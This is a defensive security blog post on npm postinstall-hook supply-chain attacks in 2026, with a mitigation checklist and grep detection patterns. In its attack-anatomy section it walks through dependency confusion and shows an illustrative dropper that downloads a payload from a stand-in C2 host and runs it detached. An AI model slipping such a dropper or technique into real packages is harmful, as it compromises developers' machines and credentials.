npm postinstall Attacks: How They Work in 2026
How npm postinstall hook attacks like Shai-Hulud actually work in 2026, and a practical checklist to protect your projects and CI/CD pipeline.
On this page
Every time you run npm install, you are not just downloading files. You are potentially executing arbitrary code, automatically, with your user permissions, before you have looked at a single line of what you just installed.
This is not theoretical. Since the Shai-Hulud worm first appeared in September 2025, security researchers have tracked an accelerating series of npm supply chain attacks that specifically abuse this mechanism. Mini Shai-Hulud campaigns hit in April and May 2026. On June 1, 2026, a campaign compromised at least 32 packages under the @redhat-cloud-services npm namespace, bypassing code review entirely through a compromised employee GitHub account.
A separate campaign in May 2026 hid malicious postinstall scripts inside package.json files bundled with PHP packages on Packagist, specifically because security reviewers checking Composer dependencies do not usually think to check bundled JavaScript tooling. npm is far from the only vector here either. The same trust-by-default problem played out in a WordPress CDN supply chain attack earlier this year, and it keeps showing up anywhere a build step quietly pulls in code nobody reviewed.
This post explains exactly how these attacks work, why they are genuinely hard to catch, and what you can actually do about it today, without needing an enterprise security team. If you want the short version, check your dependency tree for risky install hooks instantly with our Lifecycle Hook Scanner: paste in a package.json and get every preinstall, install, and postinstall script flagged and risk-scored against the exact attack patterns covered below.
How npm Lifecycle Hooks Work
npm packages can define scripts in their package.json that run automatically at specific points during installation. There are three install-time hooks:
- preinstall: runs before the package's dependencies are installed
- install: runs during the install step itself (rarely used directly)
- postinstall: runs after the package and its dependencies finish installing
{
"name": "some-package",
"scripts": {
"postinstall": "node scripts/setup.js"
}
}These hooks exist for legitimate reasons. Packages with native addons, like bcrypt or sharp, use postinstall to compile C++ bindings for your specific platform. Puppeteer and Playwright use it to download the browser binaries they need to function. Some packages use it just to print a setup message or validate the environment.
The problem is that npm runs these scripts by default, for every package in your dependency tree, direct or transitive, the moment you run npm install. A prior academic study found that only about 2.2% of packages on the npm registry define install scripts, meaning the overwhelming majority of your dependency tree does not need this at all. But even a single compromised package in a tree of hundreds is enough to run code on your machine.
This same blind-trust pattern is not unique to npm. If you run AI coding assistants or agent tooling locally, it is worth taking the same skeptical look at what those integrations can execute. Check your MCP server config for supply chain risks too, since MCP servers can be granted command execution with just as little visibility as a postinstall script.
Anatomy of a Real Attack
This is the documented execution chain from a campaign Microsoft's security team tracked in May 2026, targeting corporate environments through dependency confusion.
- 1
Register npm packages under lookalike organizational scopes
The attacker registers npm packages under scopes that mirror real internal corporate namespaces. The campaign Microsoft tracked used names like
@cloudplatform-single-spaand@payments-widget, deliberately designed to look like internal tooling a company would already have in its own dependency tree. - 2
Inflate the version number to win dependency resolution
The attacker sets an unusually high version number, like
100.100.100, specifically to win npm's dependency resolution against any real internal package of the same name. This is dependency confusion: if your build tooling checks the public registry and finds a "newer" version than your internal one, it may silently pull the malicious public package instead. - 3
Declare a postinstall hook on every malicious package
Every package in the malicious set declares a postinstall hook that points at an obfuscated script:
json — package.json{ "scripts": { "postinstall": "node scripts/postinstall.js" } } - 4
The obfuscated script calls out to a C2 server
When
npm installruns, this triggers execution of the obfuscatedpostinstall.jsfile. In the documented case, this script made an HTTPS request to an attacker-controlled command-and-control server, wrote a payload to a temp directory, and spawned it as a detached background process.The snippet below illustrates the general shape of this pattern. It is not a verbatim reproduction of any specific dropper, but the steps line up with what has been documented across multiple campaigns:
javascript — scripts/postinstall.js// Illustrative pattern seen across multiple 2026 postinstall campaigns const https = require("https"); const fs = require("fs"); const path = require("path"); const { spawn } = require("child_process"); const os = require("os"); https.get("https://attacker-c2-domain.example/payload", (res) => { const chunks = []; res.on("data", (c) => chunks.push(c)); res.on("end", () => { const payloadPath = path.join(os.tmpdir(), ".cache-worker"); fs.writeFileSync(payloadPath, Buffer.concat(chunks)); // Spawned detached so it survives the parent npm process exiting spawn("node", [payloadPath], { detached: true, stdio: "ignore", }).unref(); }); }); - 5
The spawned payload exfiltrates environment data
The spawned payload performs environment reconnaissance, collecting system information, hostnames, environment variables, and developer context, then exfiltrates that data back to the C2 server.
The entire chain happens automatically, within seconds, before the developer running the install command has any chance to intervene. Some documented variants include a kill switch, an environment variable that disables the payload, and a run-once marker to avoid re-triggering on repeated installs. Both are signs of deliberate, careful engineering rather than opportunistic malware.
Why These Attacks Are Hard to Catch
None of this is hard to catch because attackers are unusually clever. It is hard to catch because the surrounding ecosystem gives them cover in a few specific, structural ways.
- Legitimate cover: because some real packages genuinely need postinstall for native compilation or browser downloads, a security tool that flags every postinstall script produces enough false positives that teams learn to ignore the warnings
- Obfuscation: documented campaigns use hex encoding, base64 encoding, and XOR-based string manipulation to hide what the postinstall script actually does from a casual code review; a 17KB obfuscated dropper does not look like much until you decode it
- Cross-ecosystem placement: the Packagist campaign from May 2026 is a sharp example. The malicious code was placed in
package.json, a JavaScript ecosystem file, inside PHP (Composer) packages, and security reviewers auditing PHP dependencies typically checkcomposer.jsonwithout thinking to also inspect a bundledpackage.jsonused only for frontend build tooling - Branch-tracking package resolution: some package managers resolve branch-tracking versions like
dev-maindirectly from a repository's current state, so if an attacker compromises the source repository rather than the registry, the malicious code goes live the moment the branch updates, with no new "publish" event to flag
What You Can Actually Do About It
None of these steps require an enterprise security budget. They are things any team can start doing today.
- 1
Audit new dependencies for install hooks before adding them
Before running
npm install <new-package>, check whether it declares an install-time hook:bashnpm view <package-name> scriptsIf you see
preinstall,install, orpostinstalllisted, understand why it is there before proceeding. A native module compiling withnode-gypis normal. An unexplained script is a reason to look closer. - 2
Default to --ignore-scripts, allowlist what actually needs it
bashnpm install --ignore-scriptsThis disables lifecycle script execution for every package in the install. For packages that genuinely need postinstall, like native modules or Puppeteer's browser downloader, maintain an explicit allowlist rather than disabling the protection wholesale. Tools like LavaMoat's
allow-scriptspackage help manage this allowlist systematically instead of an all-or-nothing toggle. - 3
Diff the published tarball against the source repository
bashnpm pack <package-name> tar -xf <package-name>-<version>.tgz diff -r package/ <path-to-cloned-repo>/This is the only reliable way to catch the "clean GitHub repo, dirty npm tarball" pattern. It is manual, but for any dependency you are adding that handles sensitive operations or runs in CI with elevated credentials, it is worth the ten minutes.
- 4
Set a minimum package age policy for new dependency versions
Many organizations now require newly published package versions to "age" for a set period, commonly 24 to 72 hours, before being pulled into builds. This gives the community time to catch and report a malicious release before your CI pipeline touches it. Some registries and proxies support this natively; others require a dependency firewall like Verdaccio configured with a publish delay.
- 5
Monitor CI/CD logs for unexpected outbound network calls during install
If your build logs suddenly show network requests to unfamiliar domains during an
npm installstep, that is a signal worth investigating immediately, not filing away for later. Documented attacks reach out to C2 servers within seconds of the postinstall script executing. - 6
Review lockfile diffs in every pull request, not just package.json
A change to
package-lock.json,yarn.lock, orpnpm-lock.yamlthat adds an unexpected transitive dependency, or bumps a version unusually, is worth a second look. Automated dependency update bots like Dependabot and Renovate are useful, but do not skip reviewing what they actually changed in the lockfile.Before merging, it also helps to check your package.json for outdated deps and CVEs, since a stale dependency graph is often exactly where a dependency-confusion attack finds room to slot in an inflated version number.
A Quick Manual Check You Can Run Right Now
If you want a fast gut check on an existing project's dependency tree, this checks for install hooks and common obfuscation patterns across node_modules:
# Find all packages in node_modules with install-time hooks
find node_modules -name "package.json" -maxdepth 2 -exec grep -l '"postinstall"\|"preinstall"' {} \;
# Check those postinstall scripts for common suspicious patterns
find node_modules -name "package.json" -maxdepth 2 \
-exec grep -l '"postinstall"' {} \; | while read f; do
dir=$(dirname "$f")
grep -rn "eval(atob(\|child_process.*spawn.*detached\|curl.*-s.*http" "$dir" 2>/dev/null
done
# Look for suspiciously long base64-like strings in JS files
# (a common signal of an obfuscated payload)
grep -rEn "[A-Za-z0-9+/]{200,}={0,2}" --include="*.js" node_modules 2>/dev/null | head -20When --ignore-scripts Breaks Legitimate Packages
Being honest about the trade-off: some packages will not work correctly with lifecycle scripts disabled. Native modules that compile C++ bindings at install time, and packages like Puppeteer or Playwright that download browser binaries, rely on postinstall to function at all.
The practical middle ground most security-conscious teams land on looks like this: default to --ignore-scripts for all installs, then maintain an explicit allowlist of packages that are trusted to run their install scripts, your native-module dependencies, your testing framework's browser downloader. Run those specific packages' setup manually, or through a controlled step in your build pipeline, rather than trusting every package in your tree by default.
This is not a perfect solution, and it does add friction. But the friction is the point. Instead of silently trusting 100% of your dependency tree to run arbitrary code, you are explicitly trusting only the small number of packages that have earned it and that you genuinely need. The same build-hygiene discipline shows up in our Bumblebee supply chain scanner guide, just applied at the machine level instead of the install-hook level.
The core mental model worth carrying forward: npm install is not a download, it is potential code execution. Every dependency you add is code you are agreeing to run, not just code you are agreeing to import.
Frequently Asked Questions
What is a postinstall attack in npm?
A postinstall attack is when a malicious or compromised npm package uses its postinstall lifecycle script to run arbitrary code automatically the moment someone runs npm install, without any user action beyond installing the dependency.
- Where it lives: the
scripts.postinstallfield in the package'spackage.json - When it runs: automatically, immediately after the package and its dependencies finish installing, before you have run or reviewed any code
- What it typically does: calls out to an attacker-controlled server, downloads a payload, and exfiltrates environment or system data, as documented in campaigns like Shai-Hulud and its 2026 variants
How does npm --ignore-scripts work and what's the trade-off?
--ignore-scripts tells npm to skip running preinstall, install, and postinstall scripts for every package in the install, including transitive dependencies:
npm install --ignore-scriptsHow do I check a specific package for install hooks before installing it?
Run this before adding any new dependency, especially one you have not used before:
npm view <package-name> scriptsThis prints the package's declared lifecycle scripts without installing anything. If a script is present and you cannot explain why it needs to exist, treat that as a reason to dig further, not a reason to skip the install and move on. For a faster, risk-scored version of this same check across an entire package.json, check your dependency tree for risky install hooks instantly.
Do I need special tools to check for postinstall malware, and is it safe to paste my package.json somewhere?
No special tooling is required, everything in this article works with commands already built into npm, grep, and diff. A scanner just makes the process faster and less error-prone than reading raw grep output by hand.
- What you paste: a
package.jsonis a manifest, not your source code; it lists dependency names, versions, and declared scripts, nothing more - What a scanner like Lifecycle Hook Scanner does with it: analyzes the declared scripts directly against known attack patterns and returns a risk score, without requiring you to install the dependency tree first
- What it does not need: access to your actual node_modules, your source files, or your CI credentials to do this specific check
Are monorepos or CI pipelines more exposed to postinstall attacks?
Yes, in two specific ways. In a monorepo using workspaces, dependencies are often hoisted into a single shared node_modules at the root, which means a single compromised transitive dependency's postinstall script can run once and affect every workspace package that shares that install, not just the one that declared it.
In CI, cached node_modules directories between builds can carry a compromised postinstall's side effects, like a dropped payload in a temp directory, forward across runs if the cache is not invalidated on lockfile changes. Treat lockfile changes as a hard cache-bust trigger, and apply --ignore-scripts in CI installs by default, same as local development.
Does npm audit or Dependabot catch postinstall script attacks?
| Tool | What it checks | Catches install-hook abuse? |
|---|---|---|
| npm audit | Known CVEs against a vulnerability database | No, a brand-new malicious package has no CVE yet |
| Dependabot / Renovate | Outdated versions and known advisories | No, they flag stale versions, not what a script actually does |
| Manual npm pack diff | Published tarball vs. source repository | Yes, but manual and slow |
| Lifecycle Hook Scanner | Declared preinstall/install/postinstall scripts against known attack patterns | Yes, purpose-built for this specific gap |
npm audit and Dependabot are both reactive: they rely on a vulnerability already being reported and cataloged. A freshly published malicious package with an obfuscated postinstall script has no CVE and no advisory yet, so it sails through both checks cleanly. That gap is exactly what install-hook auditing is meant to close.
Related Articles
Source Maps Are Leaking Your Code: How to Stop It in Your npm Packages
Source maps with sourcesContent can leak your entire codebase. Learn how to disable them per bundler, audit with npm pack, and automate the check in CI.
Bumblebee Tutorial: Scan Your Dev Machine for Supply Chain Risks
How to install and use Bumblebee, Perplexity's open-source scanner for npm, MCP configs, and extensions. Real commands, scan profiles, and incident response setup.
WordPress CDN Supply Chain Attack 2026: What Happened and How to Check Your Site
The OptinMonster, TrustPulse, and PushEngage supply chain attack (June 2026) hit 1.2M sites. Here's exactly how it worked, how to check if you were compromised, and how to recover.